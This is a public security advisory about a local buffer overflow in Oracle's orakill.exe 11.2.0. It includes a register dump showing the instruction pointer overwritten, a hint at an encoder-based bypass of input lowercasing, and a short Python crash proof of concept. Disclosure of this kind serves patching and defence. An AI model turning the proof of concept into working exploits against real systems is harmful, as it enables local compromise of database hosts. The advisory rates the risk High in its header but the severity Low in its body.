Oracle Orakill.exe 11.2.0 Buffer Overflow

Credit: hyp3rlinx
Risk: High
Local: Yes
Remote: No
CWE: CWE-119

[+] Credits: hyp3rlinx [+] Website: [+] Source: [+] ISR: apparitionsec Vendor: ============== Product: =================== orakill.exe v11.2.0 The orakill utility is provided with Oracle databases on Windows platforms. The executable (orakill.exe) is available to DBAs to kill Oracle sessions directly from the DOS command line without requiring any connection to the database. C:\oraclexe\app\oracle\product\11.2.0\server\bin>orakill.exe -h Usage: orakill sid thread where sid = the Oracle instance to target thread = the thread id of the thread to kill The thread id should be retrieved from the spid column of a query such as: select spid, osuser, s.program from v$process p, v$session s where p.addr=s.paddr Vulnerability Type: =================== Buffer Overflow Reference: ========== Vulnerability Details: ===================== ToLower() filter being applied to supplied arguments e.g. 'A' \x41 beomes 'a' \x61 etc... may be possible to subvert using encoder technique like "ALPHA3". Also we need to supply a second argument of just 4 bytes to trigger the access violation. orakill.exe <104 bytes>, <4 bytes> Register dump. EAX 40000000 ECX 0018FCA8 ASCII "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaarrrr" EDX 00000000 EBX 61616161 ESP 0018FD10 ASCII "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaarrrr" EBP 61616161 ESI 61616161 EDI 61616161 EIP 61616161 C 0 ES 002B 32bit 0(FFFFFFFF) P 0 CS 0023 32bit 0(FFFFFFFF) A 0 SS 002B 32bit 0(FFFFFFFF) Z 0 DS 002B 32bit 0(FFFFFFFF) S 0 FS 0053 32bit 7EFDD000(FFF) T 0 GS 002B 32bit 0(FFFFFFFF) D 0 O 0 LastErr ERROR_SUCCESS (00000000) EFL 00010202 (NO,NB,NE,A,NS,PO,GE,G) ST0 empty g ST1 empty g ST2 empty g ST3 empty g ST4 empty g ST5 empty g ST6 empty g ST7 empty g 3 2 1 0 E S P U O Z D I FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT) FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1 Exploit code(s): ================ import subprocess pgm="C:\\oraclexe\\app\\oracle\\product\\11.2.0\\server\\bin\\orakill.exe " payload="A"*100 + "RRRR" subprocess.Popen([pgm, payload, " BBBB"], shell=False) Disclosure Timeline: ==================================== Vendor Notification: October 5, 2015 Vendor Fix: April 25, 2016 June 13, 2016 : Public Disclosure Exploitation Technique: ======================= Local Severity Level: ================ Low [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. hyp3rlinx


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